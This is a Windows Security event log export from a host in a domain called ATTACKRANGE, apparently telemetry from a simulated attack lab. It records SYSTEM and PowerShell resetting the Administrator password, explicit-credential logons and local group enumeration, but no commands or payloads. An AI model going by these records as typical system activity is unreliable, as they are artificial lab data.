Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245240
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245239
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245238
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245237
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:36:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245251
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:36:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245250
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:36:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245249
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:36:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245253
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245252
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245255
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:36:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245254
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x38c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4724
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245261
Keywords=Audit Success
Message=An attempt was made to reset an account's password.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245260
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:30:02 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x10
	New UAC Value:		0x10
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245259
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xfe4
	Process Name:		C:\Windows\System32\net1.exe
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245258
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245257
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:36:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245256
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245269
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245268
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245267
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		4
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0xc28
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245266
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0xc28
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245265
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245264
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245263
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:37:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245262
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xb20
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:37:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4724
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245273
Keywords=Audit Success
Message=An attempt was made to reset an account's password.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
03/11/2021 11:37:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245272
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:30:10 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x10
	New UAC Value:		0x10
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:37:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245271
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0x0
	Process Name:		-
03/11/2021 11:37:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245270
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0x0
	Process Name:		-
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245283
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245282
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245281
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245280
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
